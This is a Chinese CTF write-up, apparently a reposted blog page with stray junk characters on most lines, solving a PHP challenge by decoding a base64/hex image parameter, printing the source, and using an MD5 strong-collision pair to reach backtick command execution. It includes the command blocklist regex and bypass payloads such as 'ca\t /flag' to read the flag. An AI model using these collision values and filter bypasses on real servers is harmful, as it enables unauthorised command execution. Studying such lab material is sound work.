|
|
4 l* ?7 k8 {, t5 `* T3 W, E
<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211233053765-138473612.png" ></p>) F, ?( m/ V/ r4 f. O
<p> </p>
2 q- I6 |9 ^* `0 O9 X- Q<p> </p>
' V1 k- r/ M- }. N2 j/ W<p> 题目打开如下，?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=，同时查看源代码</p>
7 W0 n7 ?4 m: h5 R1 v<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211233545495-732796719.png" ></p>
: B u+ Y F: r( y! _8 q( Q4 v5 E<p> </p>
! h: M; n C& X8 y' z<p> </p>8 { ]9 n/ O( I: p! B2 W
<p>这里有个MD5 is funny，说明这个题目大概率跟MD5有关</p>
# K. p6 U) h0 @+ D a3 y<p>然后我抓包了一下，消息头里面没有什么特殊的东西，于是我尝试从url入手</p>/ f. @6 U" T ]7 n) o$ m! ^
<p>首先把那个进行一次base64位解码</p>
( b \- S$ v% d7 `* [, y<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211234007573-1082134416.png" ></p>
+ C C6 t- n- [ v2 w4 [; F5 p& @& G<p> </p>% s# g- T! ^7 M; d9 _
<p> </p>1 [' U7 t- H" M1 @
<p> 解码一次以后还是很像base64编码，于是又解码一次</p>
& x# ?7 h9 v- D1 J9 D% y<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211234057439-916556800.png" ></p>
/ y2 U* {0 s- q$ |+ Q; Y: q<p> </p>7 m2 ~, x& K. ~& O: I
<p> </p>
& b8 M6 k0 t* f/ I$ y/ {7 w<p> 然后用hex解码一下得到了</p>
- Z, [: _2 w6 q; o3 g<div class="cnblogs_Highlighter">
4 x! Y7 O. h, |$ b: p- O<pre class="brush:sql;gutter:true;">555.png. a, G4 i3 X2 `3 ?( }. u/ y! N k
</pre>9 F3 e% U. @2 Q( c& I* ]
</div>
# N% M1 g) [1 s; x }+ A7 p+ L* t# u<p> 用同样的方法把index.php进行加密</p> M0 ~& ~& R1 m" k) W( r+ a
<div class="cnblogs_Highlighter">% \$ X0 c/ A; o p: E8 y
<pre class="brush:sql;gutter:true;">TmprMlpUWTBOalUzT0RKbE56QTJPRGN3( w; J, `) {$ \5 A! R+ y. S
</pre>+ C/ q5 l; o" ]! i, c8 ]0 W& e: [
</div>
; h- D9 y* z o/ {/ X0 h( B<p> 然后输入到地址栏</p>
! x8 ~1 _, ^5 K; N<p> 然后查看源代码，把源代码里面的那一串base64的编码解码</p>; X g' E3 N7 _( u4 }
<div class="cnblogs_code">
7 p# t7 v- h% U# y# y0 p<pre><?<span style="color: rgba(0, 0, 0, 1)">php
( [8 c E; A0 ~</span><span style="color: rgba(0, 128, 128, 1)">error_reporting</span>(<span style="color: rgba(255, 0, 255, 1)">E_ALL</span> || ~ <span style="color: rgba(255, 0, 255, 1)">E_NOTICE</span><span style="color: rgba(0, 0, 0, 1)">);
n( `/ p. L2 ?9 o( K( U9 A$ r</span><span style="color: rgba(0, 128, 128, 1)">header</span>('content-type:text/html;charset=utf-8'<span style="color: rgba(0, 0, 0, 1)">);
! n% o4 M; S T+ D% r</span><span style="color: rgba(128, 0, 128, 1)">$cmd</span> = <span style="color: rgba(128, 0, 128, 1)">$_GET</span>['cmd'<span style="color: rgba(0, 0, 0, 1)">];
# X: P5 L8 j$ _ ^</span><span style="color: rgba(0, 0, 255, 1)">if</span> (!<span style="color: rgba(0, 0, 255, 1)">isset</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['img']) || !<span style="color: rgba(0, 0, 255, 1)">isset</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['cmd'<span style="color: rgba(0, 0, 0, 1)">]))
. U: ^0 }! w6 g </span><span style="color: rgba(0, 128, 128, 1)">header</span>('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd='<span style="color: rgba(0, 0, 0, 1)">);
- `7 D; ~4 j$ W& ~7 h/ C) x</span><span style="color: rgba(128, 0, 128, 1)">$file</span> = hex2bin(<span style="color: rgba(0, 128, 128, 1)">base64_decode</span>(<span style="color: rgba(0, 128, 128, 1)">base64_decode</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['img'<span style="color: rgba(0, 0, 0, 1)">])));
( d6 p. f; Y! s& N. V( F$ J Y0 r' p
</span><span style="color: rgba(128, 0, 128, 1)">$file</span> = <span style="color: rgba(0, 128, 128, 1)">preg_replace</span>("/[^a-zA-Z0-9.]+/", "", <span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">);) ^: `$ Q3 y$ r# `& b8 R
</span><span style="color: rgba(0, 0, 255, 1)">if</span> (<span style="color: rgba(0, 128, 128, 1)">preg_match</span>("/flag/i", <span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">)) {7 U% N+ [2 B8 {9 w1 R+ p
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> '<img src ="./ctf3.jpeg">'<span style="color: rgba(0, 0, 0, 1)">;
$ g- v; d* {2 W6 E% s </span><span style="color: rgba(0, 0, 255, 1)">die</span>("xixi～ no flag"<span style="color: rgba(0, 0, 0, 1)">);
3 @7 y- f; d1 l( S1 a$ W0 d} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> { h) l* j; o8 s" D8 m# L
</span><span style="color: rgba(128, 0, 128, 1)">$txt</span> = <span style="color: rgba(0, 128, 128, 1)">base64_encode</span>(<span style="color: rgba(0, 128, 128, 1)">file_get_contents</span>(<span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">));' d( y; F4 b3 A2 k1 I; Q4 O7 O
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<img src='data:image/gif;base64," . <span style="color: rgba(128, 0, 128, 1)">$txt</span> . "'></img>"<span style="color: rgba(0, 0, 0, 1)">;( p4 Y- o+ Z# `# @0 Q/ Q0 q- d
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<br>"<span style="color: rgba(0, 0, 0, 1)">;
) g- I6 R: R7 N Y2 m}
4 Z* w# Z" V, P! E8 j/ q" w</span><span style="color: rgba(0, 0, 255, 1)">echo</span> <span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">;
, Q% T D$ ~6 M) Z) x# _4 n. ~( f</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<br>"<span style="color: rgba(0, 0, 0, 1)">;
7 {% C; ~( `/ }</span><span style="color: rgba(0, 0, 255, 1)">if</span> (<span style="color: rgba(0, 128, 128, 1)">preg_match</span>("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", <span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">)) {
' [9 U9 F9 A! K% u" ^7 b' ~0 L </span><span style="color: rgba(0, 0, 255, 1)">echo</span>("forbid ~"<span style="color: rgba(0, 0, 0, 1)">);
0 K* {! F7 Y T" k </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<br>"<span style="color: rgba(0, 0, 0, 1)">;7 q0 I$ n9 l5 k1 g# @& h8 R, l
} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {: X2 E5 ?- v! b9 K' ]
</span><span style="color: rgba(0, 0, 255, 1)">if</span> ((<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a'] !== (<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'] && <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a']) === <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'<span style="color: rgba(0, 0, 0, 1)">])) {
}+ T( |) y4 m9 ^ </span><span style="color: rgba(0, 0, 255, 1)">echo</span> `<span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">`;; t2 H4 V4 v9 u( e( e
} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {; ?# o% } A9 Z8 l9 ?! j
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> ("md5 is funny ~"<span style="color: rgba(0, 0, 0, 1)">);
# F7 z, s# x8 Y4 K1 v9 W }7 ~. }$ P* j+ P0 b. t# O
}
( n9 j1 J8 g# g4 U! \4 ~: q2 z6 e; U6 c3 B1 d* s
</span>?>
4 @& Q3 f8 [8 `<html>- h' G6 L9 K2 k: W
<style><span style="color: rgba(0, 0, 0, 1)">
8 \$ H$ Q+ V: y body{
: I" V0 x+ R# H- ?% R background</span>:url(./bj.png) no-<span style="color: rgba(0, 0, 0, 1)">repeat center center;
6 q" U# Y8 c+ S) J" Z7 _ background</span>-size:<span style="color: rgba(0, 0, 0, 1)">cover;
( p! F K: c% K* ~# \, v background</span>-attachment:<span style="color: rgba(0, 0, 0, 1)">fixed;3 `- Z5 \. I- R7 ~! _+ w* c- N/ s
background</span>-color:<span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">CCCCCC;</span>
, V- w: L( E8 E% o+ B" c9 u. _: _<span style="color: rgba(0, 0, 0, 1)">}/ `6 N6 b" a: O/ p
</span></style>
' ^1 \8 R4 W4 g* T<body>
) b& R9 h1 ?1 y2 N! q# }</body>( \# q+ C, u8 q7 M* D2 d6 |
</html></pre>
1 y0 l: h9 X a0 `# A5 W3 B</div>
; v! C8 Y! I& @4 T! q. f<p>结合前面的推断，关键代码就在</p>3 e$ T6 ? {3 M5 F' n4 [8 S
<div class="cnblogs_code">2 S* h9 P+ O( }' J
<pre> <span style="color: rgba(0, 0, 255, 1)">if</span> ((<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a'] !== (<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'] && <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a']) === <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'<span style="color: rgba(0, 0, 0, 1)">])) {
& h+ v# J, U( O* ^1 [/ `" ^ </span><span style="color: rgba(0, 0, 255, 1)">echo</span> `<span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">`;# L- B5 P4 g$ i1 z+ y
} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {' Q, h# [! D# R
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> ("md5 is funny ~"<span style="color: rgba(0, 0, 0, 1)">);1 s0 R& s3 r# P9 k, ]$ c
}</span></pre>; Y/ g$ R! ]- ~4 x
</div>) t, |& C& c5 ]: }6 F
<p>这种MD5是md5强碰撞</p>
4 T2 A8 ~2 u) _+ L! P9 j2 G<div class="cnblogs_Highlighter">
# P( S. z/ }* Y/ U9 A<pre class="brush:sql;gutter:true;">a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
4 E6 t% W$ ?& Y4 u, U, u( N</pre>0 y# D/ F! ]9 V$ @2 ^, A$ t- B
</div>0 D9 J: x. V; ]8 E6 M/ `/ \7 E
<div class="cnblogs_Highlighter">, I+ Z4 m8 B7 n9 I
<pre class="brush:sql;gutter:true;">b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
& T* m1 m# R- H$ E9 V3 g2 W</pre>7 T6 x/ x0 |' `" w$ u
</div>
: i" ]+ v) {- T<p> 只需要这样就可以把cmd里面的当成命令来处理。</p>
' T8 T! H2 W. z: g; [8 Q<p>于是采用payload:</p># w/ Z9 [' d% f$ `+ V0 V+ x4 O
<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211235254110-1699040750.png" ></p>9 S" G. M& J% H) f# g! N
<p> </p> b4 o# _4 h0 \3 m1 {: r5 @
<p> 因为'\'并没有被屏蔽所以可以这么绕过</p>
' ^& p A7 U, [<p>ls和l\s在命令执行的时候结果是一样的。</p>2 C. b' I$ b2 F6 P+ g$ t
<p>然后发现根目录里面有/flag</p>2 n# D4 g7 f# z) y. }3 W3 x
<p>于是payload:</p>+ _6 R% G9 _# {8 o# Q
<div class="cnblogs_Highlighter">* `+ X7 `- K3 u2 j
<pre class="brush:sql;gutter:true;">?cmd=ca\t%20/flag1 z( m# }1 @" _* ?3 l, \
</pre>7 N0 [) k( z6 N3 k0 [+ M. r) k, H
</div>
0 M3 k# g5 _% }1 }! ^! }<p> 对于这个题目，因为他没有屏蔽sort和dir</p>+ V4 Y1 z- B/ y0 S# X) R: l+ Q; K
<p>所以查看也可以用dir来代替ls，cat可以用sort来代替。</p>
8 Z& A, V+ y+ J- V<p> </p>7 P1 ^$ t2 i# _ l2 r
|
|
发表于 2022-2-12 14:35:42